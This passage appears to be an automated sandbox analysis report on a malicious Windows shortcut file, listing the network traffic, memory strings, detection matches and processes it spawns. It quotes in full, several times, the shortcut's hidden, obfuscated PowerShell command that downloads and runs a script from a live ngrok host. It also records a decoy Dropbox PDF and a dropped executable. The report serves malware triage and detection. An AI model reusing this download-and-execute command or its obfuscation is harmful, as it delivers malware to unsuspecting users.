Source: powershell.exe, 00000004.00000002.2471028707.00000225BCB5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/u442tpj94cyt7pxeh32zo/loader.txt?rlkey=y6ifp8xex62ufg75kr5ap1exu&dl=1
Source: powershell.exe, 00000016.00000002.2977652206.0000013667A34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2977652206.0000013665FC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-des
Source: powershell.exe, 00000016.00000002.3103346658.000001367DF60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/documents-about-company-information-and-job-des
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000016.00000002.2977652206.0000013666160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.18:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.18:443 -> 192.168.2.6:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.6:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.15:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.6:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50037 version: TLS 1.2

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3117053567.00000000029D0000.00000004.00000001.01000000.0000000F.sdmp

Binary or memory string: DirectInput8Create

memstr_200036da-5

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_3008c91c-3

Source: Yara match	File source: 37.3.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.5600000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.fontdrvhost.exe.57f0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.fontdrvhost.exe.55d0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.3.9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe.53e0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3129571735.00000000057F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3129285387.00000000055D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe PID: 6852, type: MEMORYSTR

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: IIC0XbKFjS.lnk

LNK file: /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)

Source: C:\Windows\System32\fontdrvhost.exe	Code function: 42_2_0000018D016A1AA4 NtAcceptConnectPort,NtAcceptConnectPort,	42_2_0000018D016A1AA4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 42_2_0000018D016A1CF4 NtAcceptConnectPort,CloseHandle,	42_2_0000018D016A1CF4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 42_2_0000018D016A0AC8 NtAcceptConnectPort,NtAcceptConnectPort,	42_2_0000018D016A0AC8
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 42_2_0000018D016A15C0 NtAcceptConnectPort,	42_2_0000018D016A15C0

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD340B2733	4_2_00007FFD340B2733
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C5521	22_2_00007FFD340C5521
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C9DB0	22_2_00007FFD340C9DB0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C4FD3	22_2_00007FFD340C4FD3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340C9998	22_2_00007FFD340C9998
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340CB1FD	22_2_00007FFD340CB1FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD340CC308	22_2_00007FFD340CC308
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD341932E5	22_2_00007FFD341932E5
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C5C231	37_3_02C5C231
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C681D2	37_3_02C681D2
Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe	Code function: 37_3_02C5C400	37_3_02C5C400
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 42_2_0000018D016A0C70	42_2_0000018D016A0C70

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe 4CD95BF0380DE67906211A1F7609EE91FF705D85EE45E14B1CAC6BED13D53C19

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Code function: String function: 02C5CD90 appears 33 times

Source: C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6852 -s 420

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3118188170.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3121755507.00000000049D9000.00000040.00001000.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3125257943.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3118219318.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3118188170.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000002.3121755507.00000000049D9000.00000040.00001000.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3125257943.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000003.3118219318.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.evad.winLNK@86/281@24/14

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\fontdrvhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-e29e6db8-75ad-66a800-a519b0931317}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8772:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2276

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kvamp3ee.ofl.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" "

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM ' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT DISTINCT ContainerID FROM ObjectDirTAB Where ObjectID IN (SELECT FatherID FROM ObjectDirTAB WHERE ContainerID = %u);
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u AND ContainerID <> ObjectID;
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE FatherID IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u);
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name, %d+18,10) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#0,%Q);
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM ' \|\| quote(name) \|\| ';'FROM sqlite_master WHERE type = 'table' AND name!='sqlite_sequence';
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT %s FROM %s WHERE %s = %u OR %s = %u OR %s = %u or %s = %u;
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT ContainerID FROM ObjectDirTAB WHERE ObjectID = %u;
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000021.00000000.2930718460.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe, 00000025.00000000.3105724066.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: SELECT ContainerID FROM ObjectDirTAB WHERE ObjectID = %u;SELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE ObjectID IN (SELECT ObjectID FROM CrossRefTAB WHERE TargetObject IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u)) AND ContainerID != %uSELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE ObjectID IN (SELECT ObjectID FROM ObjectDirTAB WHERE FatherID = %u)SELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE ObjectID IN (SELECT TargetObject FROM CrossRefTAB Where ObjectID IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u)) AND ContainerID != %uSELECT DISTINCT ContainerID FROM ObjectDirTAB WHERE FatherID IN (SELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u);SELECT DISTINCT ContainerID FROM ObjectDirTAB Where ObjectID IN (SELECT FatherID FROM ObjectDirTAB WHERE ContainerID = %u);DirectoryIDDirectoryTABSCCStatusSCCStatusAttributesSELECT %s FROM %s WHERE %s = %u OR %s = %u OR %s = %u or %s = %u;FatTABSCCStatusDataSELECT ObjectID FROM ObjectDirTAB WHERE ContainerID = %u AND ContainerID <> ObjectID;Property(%uClass(MetaDataItemRemovedEventMetaDataItemAddedEventMetaDataCreatedEventMetaData

Source: IIC0XbKFjS.lnk

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa8357 curl ; sal av4fb5 iEx ; av4fb5(aa8357 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/a53f93d43005d4ee2fadb95063c82fef -UseBasicParsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2104,i,12697092255008950767,14485644108292061206,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
